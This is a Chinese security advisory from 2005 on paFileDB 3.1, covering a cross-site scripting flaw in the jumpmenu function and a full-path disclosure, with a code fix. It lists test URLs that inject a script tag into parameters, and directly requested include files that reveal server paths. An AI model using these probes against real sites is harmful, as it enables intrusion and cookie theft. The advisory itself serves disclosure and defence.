安全研究
安全漏洞
paFileDB多个安全漏洞
发布日期:2005-03-09
更新日期:2005-03-09
受影响系统:
PHP Arena paFileDB 3.1描述:
BUGTRAQ ID: 12758
CVE(CAN) ID: CVE-2005-0723,CVE-2005-0724
paFileDB是一款文件管理脚本,允许版主管理站点下载文件数据库,还可以编辑和删除文件。
paFileDB中存在一个跨站脚本漏洞和一个完整路径泄漏漏洞,攻击者可能利用这些漏洞获取敏感信息。
1 跨站脚本 - XSS:
============================
PaFileDB中存在XSS漏洞,起因是应用程序在向动态生成的WEB内容中加入用户输入之前没能正确的验证该输入。攻击者可以利用这个漏洞窃取cookies或执行其他浏览器正常跨域安全限制所不允许的操作。
有漏洞的代码:
/includes/functions.php
代码:
-------------------------------------------------------------------------------------- \
----------- function jumpmenu($db, $pageurl,$pafiledb_sql,$str) {
echo("<form name=\"form1\">
<select name=\"menu1\" onChange=\"MM_jumpMenu('parent',this,0)\" \
class=\"forminput\"> <option value=\"$pageurl\" selected>$str[jump]</option>
<option value=\"$pageurl\">---------</option>");
.....
-------------------------------------------------------------------------------------- \
------------
由于对$pageurl缺少充分过滤,可导致跨站脚本问题,攻击者借此可获得目标用户敏感信息。
2 完整路径泄漏
======================
脚本的完整路径必须保密,因为它可能导致对站点的攻击。如果攻击者知道了脚本的完整路径,就可以搜索其他文件夹中或有关站点服务器的更多信息,这样就可以入侵。
PaFileDB的许多脚本都可以直接访问,这会触发标准的php错误消息,导致完整路径泄漏。
另外直接请求http://[target]/[pafiledb_dir]/includes/viewall.php 也可导致返回带路径的错误信息。
<*来源:sp3x (sp3x@securityreason.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111031801802851&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
----
http://[target]/[pafiledb_dir]/pafiledb.php?"><script>alert();</script>
http://[target]/[pafiledb_dir]/pafiledb.php?action="><script>alert();</script>
http://[target]/[pafiledb_dir]/pafiledb.php?[something]="><script>alert();</script>
http://[target]/[pafiledb_dir]/pafiledb.php?[something]=&[something]="><script>alert();</script>
等等。。
所以在不存在的变量中我们也可以输入XSS。
几乎所有的站点都存在这个XSS,因为pafiledb.php使用了jumpmenu函数。
完整路径泄漏:
--------------
http://[target]/[pafiledb_dir]/pafiledb.php?str=[something]
Error message :
---------------
=====================================
Fatal error: Cannot use assign-op operators with overloaded objects nor string \
offsets in /[patch to site]/public_html/pafiledb/lang/english.php on line 55
=====================================
http://[target]/[pafiledb_dir]/includes/viewall.php
Error message :
---------------
=====================================
Fatal error: Call to undefined function: locbar() in /patch to
site/public_html/pafiledb/includes/viewall.php on line 16
=====================================
http://[target]/[pafiledb_dir]/includes/stats.php
http://[target]/[pafiledb_dir]/includes/search.php
http://[target]/[pafiledb_dir]/includes/rate.php
http://[target]/[pafiledb_dir]/includes/main.php
http://[target]/[pafiledb_dir]/includes/license.php
Error message :
---------------
=====================================
Fatal error: Call to a member function on a non-object in /patch to
site/public_html/pafiledb/includes/license.php on line 12
=====================================
http://[target]/[pafiledb_dir]/includes/category.php
http://[target]/[pafiledb_dir]/includes/download.php
http://[target]/[pafiledb_dir]/includes/file.php
http://[target]/[pafiledb_dir]/includes/email.php
http://[target]/[pafiledb_dir]/includes/admin.php
Error message :
---------------
=====================================
Warning: main(./includes/admin/login.php): failed to open stream: No such file or \
directory in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17
Warning: main(./includes/admin/login.php): failed to open stream: No such file or \
directory in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17
Warning: main(): Failed opening './includes/admin/login.php' for inclusion
(include_path='.:/usr/lib/php:/usr/local/lib/php') in
/home/phparena/public_html/demo/pafiledb/includes/admin.php on line 17
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 对/includes/functions.php文件的jumpmenu函数添加:
$pageurl=htmlspecialchars($pageurl)
修改后的函数如下:
代码:
-------------------------------------------------------------------------------------- \
----------- function jumpmenu($db, $pageurl,$pafiledb_sql,$str) {
$pageurl=htmlspecialchars($pageurl);
echo("<form name=\"form1\">
<select name=\"menu1\" onChange=\"MM_jumpMenu('parent',this,0)\" \
class=\"forminput\"> <option value=\"$pageurl\" selected>$str[jump]</option>
<option value=\"$pageurl\">---------</option>");
.....
-------------------------------------------------------------------------------------- \
------------
下载新版的脚本或更新。
厂商补丁:
paFileDB
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phparena.net
浏览次数:2618
严重程度:0(网友投票)
绿盟科技给您安全的保障